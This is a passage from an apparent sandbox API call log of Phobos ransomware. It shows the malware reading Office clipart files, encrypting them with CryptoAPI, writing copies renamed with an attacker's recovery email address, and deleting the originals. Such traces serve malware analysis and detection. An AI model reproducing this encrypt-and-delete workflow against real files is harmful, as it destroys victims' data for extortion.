dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0165.605] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0165.605] WriteFile (in: hFile=0x2e0, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0165.605] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0165.605] CloseHandle (hObject=0x2cc) returned 1 [0165.606] CloseHandle (hObject=0x2e0) returned 1 [0165.606] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 1 [0165.608] SetEvent (hEvent=0x298) returned 1 [0165.608] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0165.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0165.609] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=3692) returned 1 [0165.609] CloseHandle (hObject=0x2e0) returned 1 [0165.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x220 [0165.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.610] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0165.610] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0165.610] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0165.610] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0165.611] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d16d0) returned 1 [0165.611] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0165.611] ReadFile (in: hFile=0x2e0, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0xe6c, lpOverlapped=0x0) returned 1 [0165.768] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xe70, dwBufLen=0xe70 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xe70) returned 1 [0165.768] WriteFile (in: hFile=0x2cc, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xe70, lpOverlapped=0x0) returned 1 [0165.769] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1850) returned 1 [0165.769] CryptSetKeyParam (hKey=0x1d1850, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0165.769] CryptEncrypt (in: hKey=0x1d1850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0165.769] CryptDestroyKey (hKey=0x1d1850) returned 1 [0165.769] WriteFile (in: hFile=0x2cc, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0165.769] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0165.769] CloseHandle (hObject=0x2e0) returned 1 [0165.769] CloseHandle (hObject=0x2cc) returned 1 [0165.770] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 1 [0165.771] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0165.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0165.772] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2140) returned 1 [0165.772] CloseHandle (hObject=0x2cc) returned 1 [0165.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x220 [0165.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0165.772] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0165.772] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0165.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0165.773] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1610) returned 1 [0165.773] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0165.773] ReadFile (in: hFile=0x2cc, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x85c, lpOverlapped=0x0) returned 1 [0165.820] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x860, dwBufLen=0x860 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x860) returned 1 [0165.820] WriteFile (in: hFile=0x2e0, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x860, lpOverlapped=0x0) returned 1 [0165.821] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d15d0) returned 1 [0165.821] CryptSetKeyParam (hKey=0x1d15d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0165.821] CryptEncrypt (in: hKey=0x1d15d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0165.821] CryptDestroyKey (hKey=0x1d15d0) returned 1 [0165.821] WriteFile (in: hFile=0x2e0, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0165.821] CryptDestroyKey (hKey=0x1d1610) returned 1 [0165.821] CloseHandle (hObject=0x2cc) returned 1 [0165.821] CloseHandle (hObject=0x2e0) returned 1 [0165.821] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 1 [0165.823] SetEvent (hEvent=0x298) returned 1 [0165.824] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0165.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0165.824] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2780) returned 1 [0165.824] CloseHandle (hObject=0x2e0) returned 1 [0165.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x220 [0165.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0165.827] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0165.828] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0165.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0165.828] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d19d0) returned 1 [0165.828] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0165.828] ReadFile (in: hFile=0x2e0, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0xadc, lpOverlapped=0x0) returned 1 [0165.865] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xae0, dwBufLen=0xae0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xae0) returned 1 [0165.865] WriteFile (in: hFile=0x2cc, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xae0, lpOverlapped=0x0) returned 1 [0165.866] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1b50) returned 1 [0165.866] CryptSetKeyParam (hKey=0x1d1b50, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0165.867] CryptEncrypt (in: hKey=0x1d1b50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0165.867] CryptDestroyKey (hKey=0x1d1b50) returned 1 [0165.867] WriteFile (in: hFile=0x2cc, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0165.867] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0165.867] CloseHandle (hObject=0x2e0) returned 1 [0165.867] CloseHandle (hObject=0x2cc) returned 1 [0165.867] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 1 [0165.869] SetEvent (hEvent=0x298) returned 1 [0165.869] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0165.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0165.869] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2960) returned 1 [0165.870] CloseHandle (hObject=0x2cc) returned 1 [0165.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x220 [0165.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0165.870] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0165.870] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0165.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0165.871] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1710) returned 1 [0165.871] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0165.871] ReadFile (in: hFile=0x2cc, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0xb90, lpOverlapped=0x0) returned 1 [0166.175] CryptEncrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xba0, dwBufLen=0xba0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xba0) returned 1 [0166.175] WriteFile (in: hFile=0x2e0, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xba0, lpOverlapped=0x0) returned 1 [0166.297] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1a50) returned 1 [0166.297] CryptSetKeyParam (hKey=0x1d1a50, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0166.297] CryptEncrypt (in: hKey=0x1d1a50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0166.297] CryptDestroyKey (hKey=0x1d1a50) returned 1 [0166.298] WriteFile (in: hFile=0x2e0, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0166.298] CryptDestroyKey (hKey=0x1d1710) returned 1 [0166.298] CloseHandle (hObject=0x2cc) returned 1 [0166.298] CloseHandle (hObject=0x2e0) returned 1 [0166.299] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 1 [0166.318] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0166.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0166.319] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2300) returned 1 [0166.319] CloseHandle (hObject=0x2e0) returned 1 [0166.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x220 [0166.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0166.321] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0166.321] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0166.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0166.323] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d14d0) returned 1 [0166.323] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0166.323] ReadFile (in: hFile=0x2cc, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x8fc, lpOverlapped=0x0) returned 1 [0166.347] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x900, dwBufLen=0x900 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x900) returned 1 [0166.347] WriteFile (in: hFile=0x2c8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x900, lpOverlapped=0x0) returned 1 [0166.348] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1510) returned 1 [0166.348] CryptSetKeyParam (hKey=0x1d1510, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0166.348] CryptEncrypt (in: hKey=0x1d1510, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0166.348] CryptDestroyKey (hKey=0x1d1510) returned 1 [0166.348] WriteFile (in: hFile=0x2c8, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0166.348] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0166.348] CloseHandle (hObject=0x2cc) returned 1 [0166.348] CloseHandle (hObject=0x2c8) returned 1 [0166.348] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 1 [0166.350] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0166.350] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0166.351] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=2080) returned 1 [0166.351] CloseHandle (hObject=0x2c8) returned 1 [0166.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x220 [0166.351] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0166.351] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: 